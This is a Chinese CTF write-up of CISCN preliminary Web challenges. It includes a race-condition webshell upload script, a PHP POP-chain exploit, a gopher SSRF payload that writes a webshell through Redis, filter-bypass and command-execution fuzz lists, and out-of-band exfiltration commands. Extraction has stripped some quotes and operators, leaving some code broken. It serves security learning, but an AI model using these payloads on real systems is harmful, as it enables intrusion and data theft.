1. 项目概述一次完整的国赛初赛Web复盘之旅最近在整理自己的CTF学习笔记翻到了去年CISCN国赛初赛的Web题目。虽然比赛已经过去一段时间但题目中蕴含的思路和技巧对于想系统提升Web安全实战能力的朋友来说依然是极佳的“磨刀石”。我花了一些时间在CTFShow平台上重新刷了一遍这套题并做了详细的记录。这不仅仅是一份“Writeup”更像是一次深度的技术复盘。我会带你从解题者的第一视角出发拆解每一道题的出题意图、踩过的坑、以及最终豁然开朗的突破点。无论你是刚入门CTF的新手还是想查漏补缺的老手相信这份结合了实战操作与思维分析的记录都能给你带来一些实实在在的启发。Web安全的世界里细节决定成败而国赛的题目往往就是把那些容易被忽略的细节编织成了一个个精巧的迷宫。2. 核心考点与解题思路全景拆解国赛级别的Web题目很少会有“一眼洞穿”的简单漏洞。它考察的是一种综合能力信息收集的细致程度、对各类漏洞原理的深入理解、在受限环境下的利用链构造能力以及最重要的——打破常规思维的“脑洞”。这套初赛题就很好地体现了这一点我们可以将其核心考点归纳为几个维度。2.1 信息收集与源码审计的深度结合这是所有Web题的基础但在国赛中信息收集往往被设计得更加隐蔽和巧妙。不再是简单的robots.txt或www.zip而是需要你像侦探一样从网页的注释、JS文件、HTTP头、甚至是错误信息中拼凑出有价值的信息。例如某道题可能在前端JS中隐藏了关键的API接口路径或者通过一个不起眼的404页面泄露了后端框架的版本信息。在复盘时我养成了一个习惯对任何拿到的题目首先使用浏览器开发者工具F12的“网络Network”和“源代码Sources”面板进行地毯式搜索关注所有请求和响应头查看所有加载的静态资源文件。同时配合dirsearch、gobuster等目录扫描工具进行辅助但切记工具只是辅助人脑的分析和联想才是关键。2.2 非常规漏洞利用与链式攻击单一漏洞点直接获取权限的情况越来越少更多的是需要你将多个“小问题”串联成一个有效的攻击链。这可能包括逻辑漏洞绕过比如条件竞争、顺序绕过、权限校验逻辑缺陷等。这类漏洞代码层面可能没有明显的安全函数但业务逻辑设计存在瑕疵。小众协议或特性利用考察你对Web生态中一些不常用但功能强大的协议或特性的了解例如gopher://、dict://协议在SSRF中的利用或者PHP中php://filter链的多种编码方式。已知漏洞的变形与组合出题人不会直接套用网上现成的漏洞POC而是会进行修改、增加限制条件。这就要求你不能死记硬背Payload必须理解漏洞的本质才能灵活变通。2.3 代码审计与反序列化漏洞的深入理解PHP、Java等语言的代码审计是国赛Web的常客。你需要快速读懂代码逻辑找到危险的函数调用点如eval(),system(),unserialize()并分析其触发条件和参数可控性。特别是反序列化漏洞它往往是进入内网或获取RCE的“桥梁”。你需要熟悉常见PHP魔术方法如__wakeup(),__destruct(),__toString()的触发时机以及如何利用它们构造POP链。有时题目还会结合PHP的字符处理特性如%0a、%0d、%00或弱类型比较与来设置障碍。2.4 绕过过滤与构造有效Payload的艺术“过滤”是CTF题目的灵魂。题目一定会设置WAF或自定义的过滤函数你的任务就是找到过滤规则的盲点。常见的绕过技巧包括字符串拼接与编码利用.拼接、chr()函数、hex2bin()、base64编码解码等。正则表达式绕过利用preg_match的贪婪/非贪婪模式、多行匹配模式/m、或者通过换行符、空字符截断。命令执行函数替换当system、exec被禁可以考虑passthru、shell_exec、popen、反引号甚至是利用LD_PRELOAD劫持等更高阶的技巧。无字母数字WebShell通过异或、取反、自增等操作仅用特殊符号和数字构造出能执行命令的Payload这是检验对PHP语言特性理解深度的经典题型。3. 典型题目实战解析与踩坑记录下面我将选取这套题目中几个具有代表性的案例进行详细的拆解。我会还原当时的解题思路包括走过的弯路和最终找到的突破口并附上关键的Payload和解释。3.1 案例一基于源码泄露与条件竞争的文件上传这道题初看只有一个简单的文件上传点前端有JS校验只允许上传图片格式。绕过前端校验是第一步直接抓包修改Content-Type: image/png即可。但上传后后端会进行严格的二次检查不仅检查文件头还会用getimagesize()函数验证并且文件会被重命名。解题思路与步骤信息收集使用目录扫描工具发现了/.git/目录泄露。这是一个重大突破口。利用GitHack或dvcs-ripper等工具可以尝试恢复网站源码。源码审计从恢复的源码中找到了上传处理的PHP文件。关键代码如下$upload_file /var/www/html/uploads/ . md5($_SERVER[REMOTE_ADDR]) . / . $filename; if (move_uploaded_file($_FILES[file][tmp_name], $upload_file)) { // 检查文件内容 if (check_file_content($upload_file)) { echo File uploaded successfully!; } else { unlink($upload_file); // 检查不通过删除文件 echo Invalid file content!; } }逻辑是先移动上传的临时文件到目标路径然后进行检查不合格就删除。这里存在一个经典的条件竞争漏洞Race Condition。漏洞利用move_uploaded_file和check_file_content以及unlink不是原子操作。我们可以在文件被上传但还未被删除的极短时间内访问这个文件。如果文件是我们的一句话木马就能执行命令。构造攻击编写Python脚本进行多线程并发攻击。一个线程不断上传包含PHP代码的图片马在图片末尾追加?php eval($_POST[‘cmd’]);?另一个线程不断尝试访问上传后的文件路径并执行命令。import requests import threading import time target_url “http://target.com/upload.php” shell_url “http://target.com/uploads/md5(你的IP)/恶意文件名.php” def upload(): while True: files {‘file’: (‘shell.png’, open(‘shell.png’, ‘rb’), ‘image/png’)} requests.post(target_url, filesfiles) def access(): while True: r requests.get(shell_url, timeout1) if r.status_code 200: print(“[] Shell might be hit!”) # 尝试执行命令 data {‘cmd’: ‘system(“id”);’} r requests.post(shell_url, datadata) print(r.text) break time.sleep(0.01) t1 threading.Thread(targetupload) t2 threading.Thread(targetaccess) t1.start() t2.start()踩坑点文件名不可预测题目用md5(IP)作为目录但文件名是随机的。这里需要结合源码审计发现文件名生成规则如时间戳随机数并在访问线程中模拟同样的规则生成URL或者通过爆破小范围的随机数来实现。时间窗口极短竞争的成功率取决于你的网络速度和服务器处理速度。需要调整线程数量和请求间隔来优化。注意条件竞争漏洞在实际比赛中非常依赖脚本的效率和稳定性。务必在本地测试好脚本逻辑确保循环和异常处理得当避免因请求过多导致IP被临时封锁。3.2 案例二PHP反序列化与POP链构造这道题页面只有一个简单的“Hello World”和查看源码的提示。查看源码发现注释!-- source: /index.php?source1 --。访问后获得了网站核心源码。解题思路与步骤源码审计源码中定义了几个类如Welcome,Backdoor,Easy。其中Backdoor类有一个__destruct方法里面调用了eval($this-code)。这显然是我们攻击的目标。但是代码中并没有直接对Backdoor类进行序列化/反序列化的操作。寻找入口点发现Welcome类中有一个__toString方法当对象被当作字符串处理时会触发。Easy类中有一个__get方法当访问不存在的属性时触发。整个应用只有一个反序列化入口unserialize(base64_decode($_GET[data]))但反序列化后没有进行任何操作。构造POP链我们需要构造一条属性调用链Property-Oriented Programming让反序列化一个精心构造的Welcome对象后能自动触发链式反应最终执行Backdoor中的eval。起点反序列化一个Welcome对象。链式触发让Welcome对象的某个属性比如$this-obj是一个Easy对象。当Welcome的__toString被触发时例如被echo它会去访问$this-obj-ffllaaagg。接力由于Easy对象没有ffllaaagg属性这会触发Easy的__get($name)方法。我们可以在__get方法中做文章让它返回一个Backdoor对象。终点Backdoor对象的__destruct方法在脚本结束时或对象被销毁时自动调用执行eval($this-code)。关键问题如何触发Welcome的__toString观察源码发现反序列化后的对象被传递到了一个echo语句中例如echo $welcome;。这就是触发点。编写Exp?php class Welcome { public $obj; public function __construct() { $this-obj new Easy(); // 触发链的下一环 } } class Easy { public function __get($name) { return new Backdoor(); // 返回最终的后门对象 } } class Backdoor { public $code; public function __construct() { $this-code “system(‘cat /flag’);”; // 要执行的命令 } } $pop new Welcome(); $serialized serialize($pop); $encoded base64_encode($serialized); echo $encoded; // 输出Payload ?将生成的Payload作为data参数的值发送即可。踩坑点魔术方法调用顺序必须清晰理解__wakeup、__destruct、__toString、__get的触发时机和顺序。有时__wakeup会重置属性破坏构造好的链。属性访问权限注意类属性的访问控制public,private,protected。private属性在序列化后会有特殊前缀如%00类名%00属性名在构造Payload时需要正确处理否则反序列化时属性会失效。这道题中所有属性都是public简化了操作。3.3 案例三SSRF与内网服务探测利用题目给了一个URL参数例如?urlhttp://example.com页面会显示该URL的内容。这明显是一个SSRF服务端请求伪造漏洞点。解题思路与步骤初步测试尝试file://协议读取本地文件如?urlfile:///etc/passwd发现被禁止。尝试http://127.0.0.1或http://localhost返回“内部地址不允许访问”。说明有基础的过滤。绕过过滤常见的绕过方式有利用解析差异http://127.0.0.1.xip.io指向127.0.0.1、http://0.0.0.0、http://[::]IPv6的本地地址。利用URL编码http://127.0.0.1编码为http://%31%32%37%2e%30%2e%30%2e%31。利用重定向在自己的服务器上设置一个302跳转跳转到http://127.0.0.1然后请求自己的服务器地址。 经过测试发现题目过滤了127.、localhost、0.、10.、192.168等关键词但未过滤IPv6地址[::]或十进制IP表示法如2130706433代表127.0.0.1。探测内网端口绕过本地地址限制后开始探测内网开放的服务。使用Burp Suite的Intruder模块对端口进行爆破。Payload设置为从1到10000的数字请求格式为?urlhttp://[::]:%PORT%。发现关键服务发现80端口Web、6379端口Redis、8080端口另一个Web应用等开放。其中6379端口的Redis未设置密码这是一个高危风险点。利用Redis写入WebShell通过SSRF攻击无认证的Redis可以写入WebShell。由于我们无法直接向Redis发送原生协议需要将HTTP请求转换成Redis命令。这需要用到gopher://协议。构造一个特殊的Gopher Payload其数据部分是一系列Redis命令gopher://[::]:6379/_*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$30\r\n\n\n?php eval($_POST[cmd]);?\n\n\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$5\r\n/var/www/html\r\n*1\r\n$4\r\nSAVE\r\n这个Payload做了三件事1) 设置一个键值对值为一句话木马2) 配置Redis的持久化目录为Web根目录3) 保存数据到磁盘生成dump.rdb文件。如果Web服务器有权限读取Redis的数据文件并且文件名已知如dump.rdb就可能被解析为PHP文件。寻找Web目录与文件名通过SSRF读取/proc/self/cmdline或/proc/self/environ来推测Web路径或者尝试常见的路径如/var/www/html。文件名需要猜测或通过其他信息泄露获取。最终访问http://target.com/dump.rdb?cmdsystem(‘cat /flag’);获取flag。踩坑点Gopher协议格式Gopher协议要求命令以\r\n结尾并且整个Payload需要进行URL编码。手工构造极易出错建议使用脚本生成。Redis版本与配置不同Redis版本或配置可能影响攻击成功率。例如新版Redis可能默认禁用了一些危险命令或者dir配置不可写。出网限制如果目标服务器无法访问外网那么利用重定向绕过的方法就失效了必须寻找其他绕过方式。4. 通用技巧与高效解题工具箱在实战中除了对漏洞原理的深刻理解熟练使用工具和掌握一些通用技巧能极大提升效率。4.1 信息收集阶段工具与命令浏览器开发者工具这是第一线工具。重点关注网络Network记录所有请求查看参数、响应头特别是Set-Cookie、Location、Server、响应体。源代码Sources查看所有HTML、JS、CSS文件搜索关键词如flag、admin、password、api、config、debug。控制台Console有时会有JS错误信息或console.log输出敏感信息。目录/文件扫描dirsearch速度快字典全。常用命令python3 dirsearch.py -u http://target.com -e php,html,js,bak,zip,tar.gz -t 50gobusterGo语言编写效率高。常用命令gobuster dir -u http://target.com -w /path/to/wordlist.txt -x php,txt,json,bak自定义字典收集常见备份文件、配置文件、管理后台路径的字典非常重要。子域名枚举对于更大的靶场可能需要。工具subfinder,amass,oneforall。端口扫描如果题目暗示或提供了IP可进行端口扫描。工具nmap。常用命令nmap -sS -sV -p- -T4 target_ip4.2 漏洞利用与Payload构造Burp SuiteHTTP代理神器。Intruder用于爆破、FuzzingRepeater用于重放和修改请求Decoder用于各种编码解码Comparer用于对比响应差异。Python脚本自动化攻击、条件竞争、复杂Payload生成都离不开它。常用库requests,threading,hashlib,base64。在线编码解码平台如cyberchef集成了各种编码、哈希、加密解密、正则等功能非常方便。PHP代码执行Payload字典准备一个包含各种变形命令的字典用于Fuzzing过滤规则。system(‘ls’); ls; passthru(‘ls’); shell_exec(‘ls’); exec(‘ls’); popen(‘ls’, ‘r’); proc_open(‘ls’, …); echo ls; ? ? ls ?4.3 代码审计与反序列化辅助PHP代码审计使用IDE如PHPStorm或代码编辑器如VSCode进行全局搜索危险函数eval,assert,system,exec,passthru,shell_exec,popen,proc_open,unserialize,file_put_contents,file_get_contents,include,require注意动态包含。反序列化工具PHPGGC一个PHP反序列化Payload生成库集成了多种流行框架如Laravel, ThinkPHP, Symfony的POP链。手动构造理解原理后手动编写序列化字符串是基本功。注意属性类型和长度声明s:长度:”值”。4.4 数据库相关利用SQL注入工具sqlmap。但国赛题往往需要手动注入因为过滤规则复杂。sqlmap的tamper脚本如space2commentequaltolike可以帮助绕过简单WAF。手动技巧联合查询注入、报错注入updatexml,extractvalue、布尔盲注、时间盲注。关键是要闭合语句、注释掉后续代码。NoSQL注入主要针对MongoDB。利用$ne,$gt,$regex等操作符进行绕过。例如登录时传递username[$ne]1password[$ne]1可能绕过验证。5. 常见问题排查与心态调整实录在实战和刷题过程中一定会遇到各种“卡住”的情况。以下是我总结的一些常见问题及解决思路。5.1 为什么我的Payload不生效这是最常遇到的问题。请按以下步骤排查检查语法Payload的语法是否正确特别是引号、分号、括号是否闭合在复杂编码如Base64、URL编码后是否破坏了原有结构检查过滤你的Payload是否被后端过滤了通过回显或报错信息判断。尝试用最简单的Payload如echo 1;测试逐步增加复杂度定位被过滤的关键词或符号。检查上下文Payload执行的上下文环境是什么是PHP的eval是系统命令的shell_exec还是JavaScript的eval不同的上下文Payload的写法天差地别。检查编码数据在传输过程中是否被额外编码或解码例如号在URL中会被解码为空格%0a会被解码为换行。必要时对Payload进行双重甚至多重编码。使用工具辅助用Burp Repeater反复修改和测试用Comparer对比不同Payload的响应差异。5.2 没有任何回显怎么办盲注、盲打当命令执行或SQL注入没有直接输出结果时需要采用“盲”的手段。时间盲注/盲注通过构造条件让程序根据条件真假产生可观测的时间延迟或不同的HTTP状态码/响应长度。SQL时间盲注if(condition, sleep(5), 0)命令执行时间盲注ping -c 5 127.0.0.1Linux或 timeout 5 Windows。外带数据OOB让目标服务器主动连接你的服务器把数据带出来。DNS外带curl http://your-subdomain.ceye.io 在DNS日志中查看访问记录。HTTP外带wget http://your-server.com/$(whoami) 在你的Web服务器日志中查看请求路径。注意OOB方法要求目标服务器能访问外网并且你的服务器有公网IP或使用ceye.io、dnslog.cn等平台。5.3 遇到极其严格的过滤感觉无从下手这时需要跳出常规思维尝试“曲线救国”。寻找替代函数/方法命令执行函数被禁试试pcntl_exec、imap_open如果安装了imap扩展、或者通过LD_PRELOAD劫持。利用环境变量或文件/proc/self/environ可能包含敏感信息/tmp目录可能可写可以上传.so或.php文件。利用已有功能如果存在文件包含漏洞可以包含/proc/self/fd/[数字]文件描述符或者php://filter来读取源码或写入文件。二次编码或变形过滤了system试试sy”.”stemPHP中字符串连接、\x73\x79\x73\x74\x65\x6d十六进制、base64_decode(‘c3lzdGVt’。重新审视题目描述和页面信息可能有关键提示被忽略了比如页面标题、图片注释、Cookie名称等。5.4 解题时的心态管理从易到难如果一套题有多道先做看起来最简单的建立信心。及时记录任何尝试、猜想、测试结果哪怕失败了也要记录下来。这能避免重复劳动并可能从中发现规律。善于休息长时间盯着一道题容易思维僵化。休息一下喝杯水或者去看看其他题再回来可能会有新思路。团队协作如果是团队赛及时沟通思路非常重要。一个人可能卡在某个点队友的一句话可能就点破了。享受过程CTF的本质是学习和挑战。即使没解出来分析过程、学习到的技巧也是宝贵的收获。赛后一定要看官方Writeup或其他选手的分享补全自己的知识盲区。刷题和比赛是提升Web安全实战能力最快的方式之一。它强迫你去面对各种稀奇古怪的场景去深入理解每一个漏洞背后的原理去锻炼在压力下思考和解决问题的能力。希望这份针对CISCN国赛初赛Web题的复盘记录能成为你CTF之路上一块有用的垫脚石。记住每一个flag的背后都是一次思维的升级。